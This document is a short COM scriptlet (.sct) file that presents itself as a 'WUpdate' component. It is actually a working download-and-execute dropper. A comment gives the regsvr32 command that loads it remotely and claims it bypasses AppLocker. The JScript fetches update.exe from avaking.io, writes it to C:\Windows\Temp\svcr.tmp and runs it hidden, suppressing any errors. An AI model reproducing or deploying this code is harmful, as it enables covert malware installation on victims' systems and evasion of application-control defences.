<?XML version="1.0"?>
<scriptlet>
<registration
  progid="WUpdate"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}">
  <script language="JScript">
  <![CDATA[
    // regsvr32 /s /n /u /i:http://avaking.io/x.sct scrobj.dll
    // Executes entirely in scrobj.dll address space — no PowerShell, no cmd.
    // AppLocker bypassed because regsvr32.exe is Microsoft-signed.
    try {
      var h = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
      h.Open("GET", "http://avaking.io/update.exe", false);
      h.Send();
      var s = new ActiveXObject("ADODB.Stream");
      s.Type = 1; // binary
      s.Open();
      s.Write(h.ResponseBody);
      s.Position = 0;
      var dst = "C:\\Windows\\Temp\\svcr.tmp";
      s.SaveToFile(dst, 2);
      s.Close();
      new ActiveXObject("WScript.Shell").Run(dst, 0, false);
    } catch(e) {}
  ]]>
  </script>
</registration>
</scriptlet>
